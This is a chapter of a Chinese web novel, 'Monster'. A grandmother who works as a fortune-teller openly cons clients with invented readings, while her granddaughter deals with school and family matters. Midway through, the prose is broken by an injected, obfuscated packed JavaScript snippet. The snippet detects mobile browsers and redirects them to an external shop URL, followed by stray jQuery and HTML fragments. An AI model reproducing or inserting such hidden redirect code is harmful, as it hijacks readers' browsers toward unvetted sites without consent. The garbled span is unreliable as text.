15.异类(7)

作品:《Monster

    姜茜紧张地站在陶翠莲身边,陶翠莲坐在桌子上,给来人倒了两杯茶。


    男人先是环顾了一下四周,皱眉道,“菩萨关二爷和玉皇大帝,老阿姨,你这屋里倒是挂的不少啊。”


    陶翠莲咧嘴一笑,“甭管我挂的什么,手里的家伙什是真的不就行了?”


    陶翠莲上下一打量,这两人穿的都不便宜,就知道这一单应该多少能挣点——以往来找陶翠莲算命的,会有很多家没什么钱的人群。


    比如特殊职业者、低保户或者黑户之类的。


    男人看见姜茜又是皱眉,“怎么还有小孩儿在这儿。”


    姜茜一僵,陶翠莲笑眯眯地拉着姜茜道,“这是我孙女儿,别看年纪小,也是有点本事儿在身上的。”


    她说话就像是随处可见的老太太唠嗑,很是松弛自然,招待他们的也没什么特别。


    男人狠狠“啧”了一声,怀疑介绍他们来的人是不是搞错了。


    陶翠莲脸色一拉,“不算命就滚蛋。”


    怀着孕的女人用手肘捅了捅丈夫,示意别再说了,温和道,“阿姨,算的算的,我呢,你也看见了,我怀孕了。这是我和我老公结婚多年来的第一胎,但是呢……我们之前一直以为生不出来孩子,所以当时领养了一个孩子,现在有算命的说这孩子和我们肚子里的孩子犯冲,所以我们想算算,这孩子是不是真的和我肚子里的孩子犯冲。”


    陶翠莲拿出纸笔,“你们的八字,以及领养的小孩儿的八字。”


    男人都说出来后,陶翠莲一算,眼珠子悄悄一转,“按理来说,肚子里的这个,是‘后至之贵’。命理上讲‘先义后亲,亲不犯义’。两个孩子的八字,一个属‘土’,一个属‘木’,是木克土为财的格局,不是打架,是小孩儿生来就有姐姐帮衬的福气。这俩孩子,是天生的骨肉亲情。”


    “上个大师不是这么说的。”男人狐疑道。


    陶翠莲一笑,“所以是按理来说,这俩孩子八字非常合得来,但是呢,若是中间有小人作祟就不一样了。你们周围是不是有人在你们有孩子后,态度就……不一样了?”


    两人脸色一变,连声道,“对对对,没错没错,确实有……亲戚,在我们有了孩子后态度就不一样了。”


    陶翠莲在符纸上写了几个字,说道,“这是小人忌恨你们有了孩子呢。我给你们这个安胎符,睡前放在枕头底下。随身佩戴。还有记得,谁来说赶走养女都别听,这人就是你们需要赶走的小人——尤其是孕妇啊,千万别和小人接触别听那些话。不然这小人啊,就会破坏肚子里的孩子和养女之间的命格,日后必有大灾。”


    怀着孕的女人对陶翠莲千恩万谢,从包里掏出现金递给陶翠莲。


    陶翠莲施施然收过后,送走两个人。


    姜茜拉了拉陶翠莲的衣袖,“姥姥,那个符纸这么神奇,能不能给我也弄一个呀?”


    陶翠莲伸出手摸摸她的脑袋,脸笑得像一朵盛开的菊花,“那符纸呀,才没用呢。”


    姜茜瞪大眼睛看着陶翠莲。


    陶翠莲语重心长道,“小茜啊,有时候合适场合说合适的话,而不是别人认为的正确的话,才是最重要的。”


    这话姜茜还不太懂,她问姥姥这些事可不可以告诉朋友们。


    陶翠莲摇头,“不能说,如果你还想和朋友们成为朋友的话,永远都别说姥姥是个神婆。”


    现在孩子们年纪还小,可能没什么感觉,但一旦年龄稍微大一点,就会意识到——陶翠莲,是一个骗子。


    再稍微大一点,姜茜自己也会明白这个道理。


    陶翠莲希望她可以晚一点意识到这个事情,又觉得她可以早一点明白——这意味着姜茜是一个聪明的孩子。


    人啊,真是一个矛盾的个体,陶翠莲真心实意希望,姜茜长大以后是一个正直,但又不缺油滑的人。


    姜茜带着满肚子的疑惑回到学校,赵熙和周梓言一脸神秘地拉着她趁着大课间去老师办公室外面。


    三个人蹲在办公室外面偷听。


    “老师!到底是谁给你举报我带辣条的!”是赵耀的声音。


    小学不允许带辣条这种垃圾食品,老师们都会严查,规矩是零食只允许买学校小卖部卖的。


    周梓言指了指赵熙,示意是她的杰作。


    “赵耀,谁给你养成的这样的习惯?欺负同学,现在带辣条被发现了,就想去找同学麻烦?放学后打扫厕所一周!”是老师的声音。


    “老师!我就自己吃,也不给别的同学吃啊。”


    “打扫两周!”老师很生气。


    “啊……”


    三个人一溜烟跑了,最后躲在教学楼楼层之间的转角处。那里有一大盆高高大大的盆栽,盆栽里的小树树冠刚好能挡住三个人,三个人回想起赵耀那个语气,笑成一团。


    姜茜笑得眼泪都出来了。


    赵熙得意道,“我拿左手写的举报信,没人知道是我。”


    一想到赵耀要打扫两周脏兮兮的厕所——男厕所甚至还常年有一股尿骚味,大家又笑成一团。


    “太机智了,不愧是班长。”周梓言竖起大拇指佩服道。


    姜茜度过了愉快的一周。周六放学,姜茜已经能够自己坐公交车回家了。


    一回到家,就看见陶翠莲在给人批命。


    客人是一个头发炸起来,染了深红色的女人,胳膊和腿都很瘦,脸上的表情有些不安,眼神乱窜。


    姜茜用钥匙打开门进了屋后,女人飞速投来视线,像是惊弓之鸟,陶翠莲安抚道,“是家里小辈。陶善理!出来监督小茜写作业!”


    陶善理立刻从屋里出来,她拉着姜茜进了屋。姜茜自觉拿出作业本写作业,陶善理也懒得出去了,就在姜茜这屋打起了游戏。


    她躺在床上好不惬意。


    为了不影响姜茜,陶善理也没开声音。没一会儿,姜茜写完了语文作业,她问陶善理,“妈妈说,那种人不正经。”


    “什么?”陶善理愣住。


    “妈妈说染头发的都是混混,”姜茜低头扣指甲缝里的泥,“她会欺负姥姥吗?”


    陶善理一口气差点儿没上来,她心想陶翠莲不骗人家就算了。


    “宋丽给你说染头发不是正经人吗哈哈哈哈哈。”陶善理乐不可支。


    姜茜点头。


    “你等会儿。”陶善理低头开始捣鼓手机。


    姜茜继续做数学作业。


    等到姜茜写了两道数学题后,陶善理也翻到了——她刚刚一直在翻空间相册。


    陶善理没有删空间的习惯,她只有隐藏的习惯。


    所以甚至陶善理还能找到小时侯初高中的中二历史,陶善理翻到了那张大学舍友的合照。


    “姜茜,你过来。”


    姜茜放下圆珠笔,她跑到陶善理旁边,陶善理把手机屏幕放过了一点儿,屏幕上有四个年轻的女孩儿。


    姜茜一开始还有些眼生,因为四个女孩儿都染着头发,陶善理指着其中一个粉色短发女孩儿说,“这是我。”


    照片里的短发女孩儿打着耳钉,面对镜头笑得张扬而肆意。


    姜茜用手指轻轻摸了摸,“真好看。”


    陶善理的手指一移,指着旁边蓝色长发的女孩儿说,“这是你妈。”蓝色长发女孩儿的脑袋微微低着,似乎有些不好意思,留着齐刘海,抬手正在拨弄自己的刘海,眼睛没看镜头,似乎有些不好意思。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232773|196491||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “我妈没留过刘海,”姜茜不可置信道,“她说刘海很难打理。”


    陶善理用手指不停摩挲手指,“是吗?但她说自己额头大,还……还挺喜欢留刘海的。”


    姜茜盘腿在床上坐好,瞪大双眼,“陶阿姨,是这样的吗?”


    陶善理点头,“当然,我记得可清楚了,你想不想听你妈大学的事情?我给你讲。”


    出乎陶善理的意料,姜茜摇摇头,“谢谢陶阿姨,我不想。”


    陶善理惊讶道,“我以为你会想听呢。你连你妈说的话都记得。”


    姜茜理所当然道,“我要是听了,对我妈产生更多的感情怎么办?我只会更难受的。她最爱的是我爸,然后是我弟。在后面可能有她的妈妈爸爸,还有我爸的妈妈爸爸。”


    妈妈不一定爱孩子,姜茜早就明白了这个道理。


    爸爸更不用想了,姜茜从未指望过隐形人一样的爸爸——不,爸爸比隐形人还过分,会自动增加家里的家务。


    陶善理愣住……很早之前,宋丽说过这话,她说,“我妈好像不爱我,还有点儿恨我,要是我也不爱她就好了。”


    宋丽没做到不爱妈妈,但她的女儿似乎做到了。


    陶善理一时之间不知道做什么反应。


    姜茜低着头,脸上就像是葬礼那天一样毫无表情。


    ——


    “打胎啊,一定要打胎啊!”陶翠莲很想这么拍桌子说话。


    但秉承专业精神,陶翠莲还是细细问道,“所以呢,聂小云,他和你在一起后,你怀孕了,他不打算负责是吗?你打算拿肚里这个咋办哦?”


    染着头发的女人——聂小云纠结道,“……其实他有时候对我挺好的,他家里想让他耍个工作是护士的女朋友,我、我不符合的。这毕竟是我和他的孩子。我、我又想留下这个娃娃。”


    据聂小云所说,她初中毕业后来城里打工,在厂里认识了主管宋晓磊,宋晓磊大聂小云十岁,聂小云初来乍到,很多不会的,宋晓磊帮了她很多,一来二去两个人就好上了。


    但是好景不长,聂小云有一天发现自己怀孕了,她有些不知所措,下意识去找了赵晓磊,赵晓磊说他会对他们娘俩好的——但是他家里不知道聂小云的存在,他告诉聂小云,他们不可能结婚的,这个孩子聂小云可以生下来,但他无法成为孩子的父亲。


    ——他爹的,陶翠莲在心里狠狠啐了一口,这不就是不想负责吗?


    “你的生辰八字和他的生辰八字写在纸上。”陶翠莲拿出骰子碗。


    聂小云在纸上写好,陶翠莲看了后算了算,造孽哦,聂小云才十九岁。


    陶翠莲装模作样算了算后,“从命理结构看,你是身弱财旺,他是七杀攻身。你俩在一起,就是典型的 ‘鸳鸯错配,玉石俱焚’格局。”


    小云没上过学,但听着这话有些吓人,小云慌张道,“但、但是,我们俩在一起后好好的呀,他、他还带我赚了钱。”


    陶翠莲在纸上鬼画符了几下,继续念念有词,“凡事有例外嘛,你们这一辈子的缘分是因为之间前世有缘,还是‘隔世缘’,听着浪漫,实则是‘冤亲债主’的另一种说法。前世的因,造就了今生的孽啊。”


    “现在的情况是,这段孽缘已经形成了‘煞气闭环’。如果你不立刻做‘切割’,这股能量会首先冲垮你的财帛宫,就是可能会损失钱财,接着就是你的寿元星,就是说你的寿命可能会减少啊。破财是小,有损寿命是大啊娃娃。”


    “而你肚子里的孩子,八字刚好坐落在你们相冲最激烈的‘风口’上。他是这段孽缘最具象的载体,也是克你生机最狠的‘太岁’。留着他,就是留着这颗定时炸弹啊娃娃!”